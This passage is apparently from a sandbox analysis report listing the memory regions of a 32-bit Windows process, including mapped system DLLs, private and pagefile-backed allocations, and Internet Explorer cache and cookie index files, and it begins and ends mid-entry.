"\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 328 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 329 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 330 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 331 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 332 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 333 start_va = 0x630000 end_va = 0x7b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 334 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 335 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 336 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 337 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 338 start_va = 0x3b0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 339 start_va = 0x7c0000 end_va = 0x940fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 340 start_va = 0x950000 end_va = 0x1d4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 341 start_va = 0x1a0000 end_va = 0x1a4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 342 start_va = 0x4a0000 end_va = 0x4eefff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 343 start_va = 0x75250000 end_va = 0x75261fff entry_point = 0x75250000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 344 start_va = 0x75be0000 end_va = 0x75cd4fff entry_point = 0x75be0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 345 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 346 start_va = 0x762e0000 end_va = 0x76415fff entry_point = 0x762e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 347 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 348 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 349 start_va = 0x76190000 end_va = 0x762acfff entry_point = 0x76190000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 350 start_va = 0x772c0000 end_va = 0x772cbfff entry_point = 0x772c0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 351 start_va = 0x757f0000 end_va = 0x759eafff entry_point = 0x757f0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 352 start_va = 0x75210000 end_va = 0x75241fff entry_point = 0x75210000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 353 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 354 start_va = 0x75270000 end_va = 0x7528bfff entry_point = 0x75270000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 355 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 356 start_va = 0x751f0000 end_va = 0x751f6fff entry_point = 0x751f0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 357 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 358 start_va = 0x1d50000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 359 start_va = 0x751a0000 end_va = 0x751e3fff entry_point = 0x751a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 360 start_va = 0x1f20000 end_va = 0x213ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 361 start_va = 0x750e0000 end_va = 0x7519efff entry_point = 0x750e0000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 362 start_va = 0x4a0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 363 start_va = 0x76420000 end_va = 0x76424fff entry_point = 0x76420000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 364 start_va = 0x2140000 end_va = 0x240efff entry_point = 0x2140000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 365 start_va = 0x4a0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 366 start_va = 0x5b0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 367 start_va = 0x2410000 end_va = 0x860ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 368 start_va = 0x750c0000 end_va = 0x750d1fff entry_point = 0x750c0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 369 start_va = 0xfffd8000 end_va = 0xfffdafff entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 370 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 371 start_va = 0x4e0000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 372 start_va = 0x1d50000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 373 start_va = 0x1ee0000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 374 start_va = 0xfffd5000 end_va = 0xfffd7fff entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 375 start_va = 0x750a0000 end_va = 0x750b5fff entry_point = 0x750a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 376 start_va = 0x520000 end_va = 0x55bfff entry_point = 0x520000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 377 start_va = 0x520000 end_va = 0x55bfff entry_point = 0x520000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 378 start_va = 0x520000 end_va = 0x55bfff entry_point = 0x520000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 379 start_va = 0x520000 end_va = 0x55bfff entry_point = 0x520000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 380 start_va = 0x520000 end_va = 0x55bfff entry_point = 0x520000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 381 start_va = 0x75060000 end_va = 0x7509afff entry_point = 0x75060000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 382 start_va = 0x230000 end_va = 0x231fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 383 start_va = 0x520000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 384 start_va = 0x8610000 end_va = 0xe80ffff entry_point = 0x0 region_type = private name = "private_0x0000000008610000" filename = "" Region: id = 385 start_va = 0x74ec0000 end_va = 0x7505dfff entry_point = 0x74ec0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 386 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x3b0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 387 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 388 start_va = 0x3d0000 end_va = 0x3d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 389 start_va = 0xfffad000 end_va = 0xfffaffff entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Region: id = 390 start_va = 0x75200000 end_va = 0x7520afff entry_point = 0x75200000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 391 start_va = 0x3b0000 end_va = 0x3bffff entry_point = 0x3b0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 392 start_va = 0x3e0000 end_va = 0x3e7fff entry_point = 0x3e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 393 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x3f0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 394 start_va = 0x74e90000 end_va = 0x74eb0fff entry_point = 0x74e90000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 395 start_va = 0x756a0000 end_va = 0x756e4fff entry_point = 0x756a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 396 start_va = 0x75bd0000 end_va = 0x75bd2fff entry_point = 0x75bd0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 397 start_va = 0x560000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 398 start_va = 0x1f20000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 399 start_va = 0x2100000 end_va = 0x213ffff entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 400 start_va = 0x74c80000 end_va = 0x74cd1fff entry_point = 0x74c80000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 401 start_va = 0xfffaa000 end_va = 0xfffacfff entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 402 start_va = 0x74e70000 end_va = 0x74e84fff entry_point = 0x74e70000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 403 start_va = 0x74e60000 end_va = 0x74e6cfff entry_point = 0x74e60000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 404 start_va = 0x5a0000 end_va = 0x5a0fff entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 405 start_va = 0x5c0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 406 start_va = 0xe810000 end_va = 0xe90ffff entry_point = 0x0 region_type = private name = "private_0x000000000e810000" filename = "" Region: id = 407 start_va = 0xfffa7000 end_va = 0xfffa9fff entry_point = 0x0 region_type = private name = "private_0x00000000fffa7000" filename = "" Region: id = 408 start_va = 0x5a0000 end_va = 0x5a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 409 start_va = 0x74e50000 end_va = 0x74e55fff entry_point = 0x74e50000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 410 start_va = 0x1e50000 end_va = 0x1e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 411 start_va = 0x1e90000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 412 start_va = 0xe910000 end_va = 0xea0ffff entry_point = 0x0 region_type = private name = "private_0x000000000e910000" filename = "" Region: id = 413 start_va = 0xea10000 end_va = 0xeb0ffff entry_point = 0x0 region_type = private name = "private_0x000000000ea10000" filename = "" Region: id = 414 start_va = 0xeb10000 end_va = 0xec0ffff entry_point = 0x0 region_type = private name = "private_0x000000000eb10000" filename = "" Region: id = 415 start_va = 0x74e40000 end_va = 0x74e4ffff entry_point = 0x74e40000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 416 start_va = 0xfffa1000 end_va = 0xfffa3fff entry_point = 0x0 region_type = private name = "private_0x00000000fffa1000" filename = "" Region: id = 417 start_va = 0xfffa4000 end_va = 0xfffa6fff entry_point = 0x0 region_type = private name = "private_0x00000000fffa4000" filename = "" Region: id = 418 start_va = 0x20b0000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 419 start_va = 0xede0000 end_va = 0xedeffff entry_point = 0x0 region_type = private name = "private_0x000000000ede0000" filename = "" Region: id = 420 start_va = 0x74c70000 end_va = 0x74c7ffff entry_point = 0x74c70000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 421 start_va = 0x74c50000 end_va = 0x74c61fff entry_point = 0x74c50000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 422 start_va = 0x74c10000 end_va = 0x74c4bfff entry_point = 0x74c10000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 423 start_va = 0x74c00000 end_va = 0x74c07fff entry_point = 0x74c00000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 424 start_va = 0x74bf0000 end_va = 0x74bf4fff entry_point = 0x74bf0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 425 start_va = 0x74be0000 end_va = 0x74be5fff entry_point = 0x74be0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 426 start_va = 0x74bd0000 end_va = 0x74bd5fff entry_point = 0x74bd0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 427 start_va = 0x74b90000 end_va = 0x74bc7fff entry_point = 0x74b90000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 428 start_va = 0x600000 end_va = 0x600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 429 start_va = 0x2060000 end_va = 0x209ffff entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 430 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 431 start_va = 0x610000 end_va = 0x610fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 432 start_va = 0x74b30000 end_va = 0x74b89fff entry_point = 0x74b30000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 433 start_va = 0x74b20000 end_va = 0x74b2dfff entry_point = 0x74b20000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 434 start_va = 0x2020000 end_va = 0x205ffff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 435 start_va = 0xec10000 end_va = 0xed0ffff entry_point = 0x0 region_type = private name = "private_0x000000000ec10000" filename = "" Region: id = 436 start_va = 0x74b10000 end_va = 0x74b17fff entry_point = 0x74b10000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 437 start_va = 0xfff9e000 end_va = 0xfffa0fff entry_point = 0x0 region_type = private name = "private_0x00000000fff9e000" filename = "" Region: id = 563 start_va = 0x74b00000 end_va = 0x74b0cfff entry_point = 0x74b00000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 634 start_va = 0x20c0000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 635 start_va = 0xed10000 end_va = 0xed2ffff entry_point = 0x0 region_type = private name = "private_0x000000000ed10000" filename = "" Region: id = 636 start_va = 0xedf0000 end_va = 0xeeeffff entry_point = 0x0 region_type = private name = "private_0x000000000edf0000" filename = "" Region: id = 637 start_va = 0xfff9b000 end_va = 0xfff9dfff entry_point = 0x0 region_type = private name = "private_0x00000000fff9b000" filename = "" Region: id = 638 start_va = 0x1ed0000 end_va = 0x1ed0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 639 start_va = 0x74af0000 end_va = 0x74af8fff entry_point = 0x74af0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 640 start_va = 0x20a0000 end_va = 0x20a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020a0000" filename = "" Region: id = 641 start_va = 0xed10000 end_va = 0xed11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ed10000" filename = "" Region: id = 642 start_va = 0xed20000 end_va = 0xed5ffff entry_point = 0xed20000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat") Region: id = 643 start_va = 0xeef0000 end_va = 0xf232fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000eef0000" filename = "" Region: id = 644 start_va = 0xed60000 end_va = 0xed9ffff entry_point = 0x0 region_type = private name = "private_0x000000000ed60000" filename = "" Region: id = 645 start_va = 0xf240000 end_va = 0xf33ffff entry_point = 0x0 region_type = private name = "private_0x000000000f240000" filename = "" Region: id = 646 start_va = 0xfff98000 end_va = 0xfff9afff entry_point = 0x0 region_type = private name = "private_0x00000000fff98000" filename = "" Region: id = 647 start_va = 0x520000 end_va = 0x530fff entry_point = 0x520000 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 648 start_va = 0x8610000 end_va = 0x864ffff entry_point = 0x0 region_type = private name = "private_0x0000000008610000" filename = "" Region: id = 649 start_va = 0x8650000 end_va = 0x874ffff entry_point = 0x0 region_type = private name = "private_0x0000000008650000" filename = "" Region: id = 650 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 651 start_va = 0x8750000 end_va = 0x885ffff entry_point = 0x0 region_type = private name = "private_0x0000000008750000" filename = "" Region: id = 652 start_va = 0x8860000 end_va = 0x893efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008860000" filename = "" Region: id = 653 start_va = 0x74ce0000 end_va = 0x74cf2fff entry_point = 0x74ce0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 654 start_va = 0x8750000 end_va = 0x878ffff entry_point = 0x0 region_type = private name = "private_0x0000000008750000" filename = "" Region: id = 655 start_va = 0x8820000 end_va = 0x885ffff entry_point = 0x0 region_type = private name = "private_0x0000000008820000" filename = "" Region: id = 656 start_va = 0x8940000 end_va = 0x8a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000008940000" filename = "" Region: id = 657 start_va = 0x8a40000 end_va = 0x8b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000008a40000" filename = "" Region: id = 658 start_va = 0xfff95000 end_va = 0xfff97fff entry_point = 0x0 region_type = private name = "private_0x00000000fff95000" filename = "" Region: id = 659 start_va = 0x749f0000 end_va = 0x74ae4fff entry_point = 0x749f0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 660 start_va = 0x540000 end_va = 0x541fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 661 start_va = 0x550000 end_va = 0x553fff entry_point = 0x550000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 662 start_va = 0x8790000 end_va = 0x87aefff entry_point = 0x8790000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 663 start_va = 0x87b0000 end_va = 0x87b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000087b0000" filename = "" Region: id = 664 start_va = 0x8b40000 end_va = 0x8c40fff entry_point = 0x0 region_type = private name = "private_0x0000000008b40000" filename = "" Region: id = 665 start_va = 0x8b40000 end_va = 0x8c40fff entry_point = 0x0 region_type = private name = "private_0x0000000008b40000" filename = "" Region: id = 666 start_va = 0x8b40000 end_va = 0x8c40fff entry_point = 0x0 region_type = private name = "private_0x0000000008b40000" filename = "" Region: id = 667 start_va = 0x550000 end_va = 0x553fff entry_point = 0x550000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 668 start_va = 0x87c0000 end_va = 0x87effff entry_point = 0x87c0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 669 start_va = 0x87f0000 end_va = 0x87f3fff entry_point = 0x87f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 670 start_va = 0x8b40000 end_va = 0x8ba5fff entry_point = 0x8b40000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 671 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 672 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 673 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 